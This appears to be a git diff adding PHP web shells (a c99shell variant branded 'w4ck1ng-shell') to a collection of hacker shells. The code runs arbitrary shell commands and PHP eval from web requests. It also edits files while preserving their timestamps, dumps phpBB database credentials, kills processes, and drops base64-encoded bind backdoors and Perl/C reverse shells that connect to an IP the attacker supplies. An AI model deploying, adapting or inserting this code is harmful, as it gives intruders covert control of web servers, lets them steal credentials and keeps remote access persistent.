+ $ret = str_replace("\r\n","\n",$ret);
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ if (in_array($v,$ret)) {fs_rmobj($v);}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+}
+if ($act == "cmd")
+{
+if (trim($cmd) == "ps aux") {$act = "processes";}
+elseif (trim($cmd) == "tasklist") {$act = "processes";}
+else
+{
+ @chdir($chdir);
+ if (!empty($submit))
+ {
+ $execcmd = $_REQUEST['cmd'];
+ echo "Result Of Locally Executed Command: $execcmd ";
+ $olddir = realpath(".");
+ @chdir($d);
+ $ret = myshellexec($cmd);
+ $ret = convert_cyr_string($ret,"d","w");
+ if ($cmd_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ @chdir($olddir);
+ }
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+}
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ else {}
+ }
+ if (count($list) == 0) {echo "Can't open folder ".htmlspecialchars($d)." ";}
+ else
+ {
+ //Building array
+ $objects = array();
+ $vd = "f"; //Viewing mode
+ if ($vd == "f")
+ {
+ $objects["head"] = array();
+ $objects["folders"] = array();
+ $objects["links"] = array();
+ $objects["files"] = array();
+ foreach ($list as $v)
+ {
+ $o = basename($v);
+ $row = array();
+ if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif (is_dir($v))
+ {
+ if (is_link($v)) {$type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = $v;
+ $row[] = $type;
+ }
+ elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
+ $row[] = filemtime($v);
+ if (!$win)
+ {
+ $ow = posix_getpwuid(fileowner($v));
+ $gr = posix_getgrgid(filegroup($v));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
+ }
+ $row[] = fileperms($v);
+ if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
+ elseif (is_link($v)) {$objects["links"][] = $row;}
+ elseif (is_dir($v)) {$objects["folders"][] = $row;}
+ elseif (is_file($v)) {$objects["files"][] = $row;}
+ $i++;
+ }
+ $row = array();
+ $row[] = "Name ";
+ $row[] = "Size ";
+ $row[] = "Modify ";
+ if (!$win)
+ {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+ $parsesort = parsesort($sort);
+ $sort = $parsesort[0].$parsesort[1];
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+ $y = "";
+ $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."] ";
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+ $v = $parsesort[0];
+ usort($objects["folders"], "tabsort");
+ usort($objects["links"], "tabsort");
+ usort($objects["files"], "tabsort");
+ if ($parsesort[1] == "d")
+ {
+ $objects["folders"] = array_reverse($objects["folders"]);
+ $objects["files"] = array_reverse($objects["files"]);
+ }
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+ $tab = array();
+ $tab["cols"] = array($row);
+ $tab["head"] = array();
+ $tab["folders"] = array();
+ $tab["links"] = array();
+ $tab["files"] = array();
+ $i = 0;
+ foreach ($objects as $a)
+ {
+ $v = $a[0];
+ $o = basename($v);
+ $dir = dirname($v);
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+ foreach ($regxp_highlight as $r)
+ {
+ if (ereg($r[0],$o))
+ {
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
+ else
+ {
+ $r[1] = round($r[1]);
+ $isdir = is_dir($v);
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
+ {
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+ $disppath = $r[2].$disppath.$r[3];
+ if ($r[4]) {break;}
+ }
+ }
+ }
+ }
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+ $row = array();
+ if ($o == ".")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif ($o == "..")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif (is_dir($v))
+ {
+ if (is_link($v))
+ {
+ $disppath .= " => ".readlink($v);
+ $type = "LINK";
+ $row[] = " [".$disppath."] ";
+ }
+ else
+ {
+ $type = "DIR";
+ $row[] = " [".$disppath."] ";
+ }
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size($a[1]);
+ }
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+ if (!$win) {$row[] = $a[3];}
+ $row[] = "".view_perms_color($v)." ";
+ if ($o == ".") {$checkbox = " "; $i--;}
+ else {$checkbox = " ";}
+ if (is_dir($v)) {$row[] = "[Info] ".$checkbox;}
+ else {$row[] = "[Info] [Change] [Download] ".$checkbox;}
+ if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
+ elseif (is_link($v)) {$tab["links"][] = $row;}
+ elseif (is_dir($v)) {$tab["folders"][] = $row;}
+ elseif (is_file($v)) {$tab["files"][] = $row;}
+ $i++;
+ }
+ }
+ // Compiling table
+ $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
+ echo "Listing Folder: ".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders ";
+ foreach($table as $row)
+ {
+ echo "\r\n";
+ foreach($row as $v) {echo "".$v." \r\n";}
+ echo " \r\n";
+ }
+ echo "
+
+
+ ";
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+ {
+ echo " ";
+ }
+ echo "With selected: ";
+ echo "Delete ";
+ echo "Change-mode ";
+ if ($usefsbuff)
+ {
+ echo "Cut ";
+ echo "Copy ";
+ echo "Unselect ";
+ }
+ echo "
";
+ echo "";
+ }
+}
+
+if ($act == "processes")
+{
+ echo "Processes: ";
+ if (!$win) {$handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":"");}
+ else {$handler = "tasklist";}
+ $ret = myshellexec($handler);
+ if (!$ret) {echo "Can't execute \"".$handler."\"!";}
+ else
+ {
+ if (empty($processes_sort)) {$processes_sort = $sort_default;}
+ $parsesort = parsesort($processes_sort);
+ if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$y = "[sort_desc] ";}
+ else {$y = "[sort_asc] ";}
+ $ret = htmlspecialchars($ret);
+ if (!$win)
+ {
+ if ($pid)
+ {
+ if (is_null($sig)) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ if (posix_kill($pid,$sig)) {echo "OK.";}
+ else {echo "ERROR.";}
+ }
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $stack = explode("\n",$ret);
+ $head = explode(" ",$stack[0]);
+ unset($stack[0]);
+ for($i=0;$i".$head[$i]." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+{
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10));
+ $line = array_slice($line,0,11);
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+ $line[] = "KILL ";
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ else
+ {
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ $ret = convert_cyr_string($ret,"d","w");
+ $stack = explode("\n",$ret);
+ unset($stack[0],$stack[2]);
+ $stack = array_values($stack);
+ $head = explode("",$stack[0]);
+ $head[1] = explode(" ",$head[1]);
+ $head[1] = $head[1][0];
+ $stack = array_slice($stack,1);
+ unset($head[2]);
+ $head = array_values($head);
+ if ($parsesort[1] != "a") {$y = "[sort_desc] ";}
+ else {$y = "[sort_asc] ";}
+ if ($k > count($head)) {$k = count($head)-1;}
+ for($i=0;$i".trim($head[$i])." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode("",$line);
+ $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
+ $line[2] = intval(str_replace(" ","",$line[2]))*1024;
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $v = $processes_sort[0];
+ usort($prcs,"tabsort");
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$prcs);
+ echo "";
+ foreach($tab as $i=>$k)
+ {
+ echo "";
+ foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
+ echo " ";
+ }
+ echo "
";
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "Result of execution this PHP-code : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ eval($eval);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($eval_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ }
+ else
+ {
+ if ($eval_txt)
+ {
+ echo "";
+ eval($eval);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+}
+if ($act == "f")
+{
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else
+ {
+ $r = @file_get_contents($d.$f);
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+ array("[hex]","info"),
+ array("[html]","html"),
+ array("[txt]","txt"),
+ array("[Code]","code"),
+ array("[Session]","phpsess"),
+ array("[exe]","exe"),
+ array("[SDB]","sdb"),
+ array("[gif]","img"),
+ array("[ini]","ini"),
+ array("[download]","download"),
+ array("[rtf]","notepad"),
+ array("[change]","edit")
+ );
+ echo "Viewing file: [$ext] ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
+ foreach($arr as $t)
+ {
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+ else {echo " ".$t[0]." ";}
+ echo " (+ ) |";
+ }
+ echo " ";
+ if ($ft == "info")
+ {
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d.$f));
+ $gr = posix_getgrgid(filegroup($d.$f));
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+ }
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+ $fi = fopen($d.$f,"rb");
+ if ($fi)
+ {
+ if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+ $n = 0;
+ $a0 = "00000000 ";
+ $a1 = "";
+ $a2 = "";
+ for ($i=0; $i";}
+ $a1 .= " ";
+ $a2 .= " ";
+ }
+ }
+ //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
+ echo " ";
+ }
+ $encoded = "";
+ if ($base64 == 1)
+ {
+ echo "Base64 Encode ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ }
+ elseif($base64 == 2)
+ {
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
+ }
+ elseif($base64 == 3)
+ {
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+ }
+ elseif($base64 == 4)
+ {
+ $text = file_get_contents($d.$f);
+ $encoded = base64_decode($text);
+ echo "Base64 Decode";
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+ echo " ";
+ }
+ if (!empty($encoded))
+ {
+ echo "".htmlspecialchars($encoded)." ";
+ }
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+[Encode ]
+[+chunk ]
+[+chunk+quotes ]
+[Decode ]
+";
+ }
+ elseif ($ft == "html")
+ {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {c99shexit();}
+ }
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+ elseif ($ft == "phpsess")
+ {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ var_dump(unserialize($v[1]));
+ echo " ";
+ }
+ elseif ($ft == "exe")
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($exeftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ $cmd = str_replace("%f%",$f,$rft);
+ echo "Execute file: Display in text-area ";
+ }
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+ elseif ($ft == "code")
+ {
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+ {
+ $arr = explode("\n",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+ echo " ";
+ }
+ }
+ echo "";
+ if (!empty($white)) {@ob_clean();}
+ highlight_file($d.$f);
+ if (!empty($white)) {c99shexit();}
+ echo "
";
+ }
+ elseif ($ft == "download")
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".filesize($d.$f));
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo $r;
+ exit;
+ }
+ elseif ($ft == "notepad")
+ {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img")
+ {
+ $inf = getimagesize($d.$f);
+ if (!$white)
+ {
+ if (empty($imgsize)) {$imgsize = 20;}
+ $width = $inf[0]/100*$imgsize;
+ $height = $inf[1]/100*$imgsize;
+ echo "Size: ";
+ $sizes = array("100","50","20");
+ foreach ($sizes as $v)
+ {
+ echo "";
+ if ($imgsize != $v ) {echo $v;}
+ else {echo "".$v." ";}
+ echo " ";
+ }
+ echo " ";
+ }
+ else
+ {
+ @ob_clean();
+ $ext = explode($f,".");
+ $ext = $ext[count($ext)-1];
+ header("Content-type: ".$inf["mime"]);
+ readfile($d.$f);
+ exit;
+ }
+ }
+ elseif ($ft == "edit")
+ {
+ if (!empty($submit))
+ {
+ if ($filestealth) {$stat = stat($d.$f);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$edit_text);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $edit_text;
+ }
+ }
+ $rows = count(explode("\r\n",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+ }
+}
+}
+else
+{
+ @ob_clean();
+ //For simple size- and speed-optimization.
+ $imgequals = array(
+ "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+ "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
+ "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
+ "ext_html"=>array("ext_html","ext_htm"),
+ "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
+ "ext_lnk"=>array("ext_lnk","ext_url"),
+ "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
+ "ext_doc"=>array("ext_doc","ext_dot"),
+ "ext_js"=>array("ext_js","ext_vbs"),
+ "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
+ "ext_wri"=>array("ext_wri","ext_rtf"),
+ "ext_swf"=>array("ext_swf","ext_fla"),
+ "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
+ "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
+ );
+ if (!$getall)
+ {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
+ if (empty($images[$img])) {$img = "small_unk";}
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+ echo base64_decode($images[$img]);
+ }
+ else
+ {
+ foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."] ");}}}}
+ natsort($images);
+ $k = array_keys($images);
+ echo "";
+ foreach ($k as $u) {echo $u.": ";}
+ echo " ";
+ }
+ exit;
+}
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+ --[ c99shell modded by w4ck1ng . | echo("$shver"); ?> | Page generation time: ]--
+
diff --git a/xakep-shells/PHP/wacking.php.php.txt b/xakep-shells/PHP/wacking.php.php.txt
new file mode 100644
index 0000000..d870490
--- /dev/null
+++ b/xakep-shells/PHP/wacking.php.php.txt
@@ -0,0 +1,2830 @@
+&1","r"))) {
+return 126;
+}
+while (!feof($p)) {
+$line=fgets($p,1000);
+$out .= $line;
+}
+pclose($p);
+return $out;
+}
+}else{
+function myshellexec($cmd)
+{
+ global $disablefunc;
+ $result = "";
+ if (!empty($cmd))
+ {
+ if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
+ elseif (($result = `$cmd`) !== FALSE) {}
+ elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_resource($fp = popen($cmd,"r")))
+ {
+ $result = "";
+ while(!feof($fp)) {$result .= fread($fp,1024);}
+ pclose($fp);
+ }
+ }
+ return $result;
+}
+}
+}
+
+
+function checkproxyhost(){
+$host = getenv("HTTP_HOST");
+$filename = '/tmp/.setan/xh';
+if (file_exists($filename)) {
+$_POST['proxyhostmsg']="Success! $host:6543 Note: If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy. ";
+} else {
+$_POST['proxyhostmsg']="Failed! Note: If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail. ";
+ }
+}
+
+if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd"))
+{
+ $ip = gethostbyname($_SERVER["HTTP_HOST"]);
+ $por = $_POST['backconnectport'];
+ if(is_writable(".")){
+ cfb("shbd",$backdoor);
+ ex("chmod 777 shbd");
+ $cmd = "./shbd $por";
+ exec("$cmd > /dev/null &");
+ $scan = myshellexec("ps aux");
+ if(eregi("./shbd $por",$scan)){ $data = ("\nProcess found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\nProcess not found running, backdoor not setup successfully."); }
+ $_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por' .$data";
+ }else{
+ cfb("/tmp/shbd",$backdoor);
+ ex("chmod 777 /tmp/shbd");
+ $cmd = "./tmp/shbd $por";
+ exec("$cmd > /dev/null &");
+ $scan = myshellexec("ps aux");
+ if(eregi("./shbd $por",$scan)){ $data = ("\nProcess found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\nProcess not found running, backdoor not setup successfully."); }
+ $_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por' .$data";
+}
+}
+
+if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl"))
+{
+ if(is_writable(".")){
+ cf("back",$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ if (file_exists("back")) { unlink("back"); }
+ }else{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
+}
+}
+
+if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C"))
+{
+ if(is_writable(".")){
+ cf("backc",$back_connect_c);
+ ex("chmod 777 backc");
+ //$blah = ex("gcc back.c -o backc");
+ $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ //if (file_exists("back.c")) { unlink("back.c"); }
+ if (file_exists("backc")) { unlink("backc"); }
+ }else{
+ ex("chmod 777 /tmp/backc");
+ cf("/tmp/backc",$back_connect_c);
+ //$blah = ex("gcc -o /tmp/backc /tmp/back.c");
+ $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ //if (file_exists("back.c")) { unlink("back.c"); }
+ if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }
+}
+
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or err();
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+
+function cfb($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or bberr();
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+
+function err()
+{
+$_POST['backcconnmsge']="Error: Can't connect! ";
+}
+
+function bberr()
+{
+$_POST['backcconnmsge']="Error: Can't backdoor host! ";
+}
+
+function which($pr)
+{
+$path = ex("which $pr");
+if(!empty($path)) { return $path; } else { return $pr; }
+}
+function ex($cfe)
+{
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(function_exists('system'))
+ {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ }
+ }
+ return $res;
+}
+
+ini_set("memory_limit","300M");
+if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
+if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}}
+error_reporting(5);
+@ignore_user_abort(TRUE);
+@set_magic_quotes_runtime(0);
+$win = strtolower(substr(PHP_OS,0,3)) == "win";
+define("starttime",getmicrotime());
+//removed backdoor
+if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
+$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
+foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
+$shver = "w4ck1ng-shell (Private Build v0.3)";
+if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
+elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
+else {$surl = $_REQUEST["c99sh_surl"];
+}
+$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
+if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
+if (empty($surl))
+{
+ $surl = "?".$includestr;
+}
+$surl = htmlspecialchars($surl);
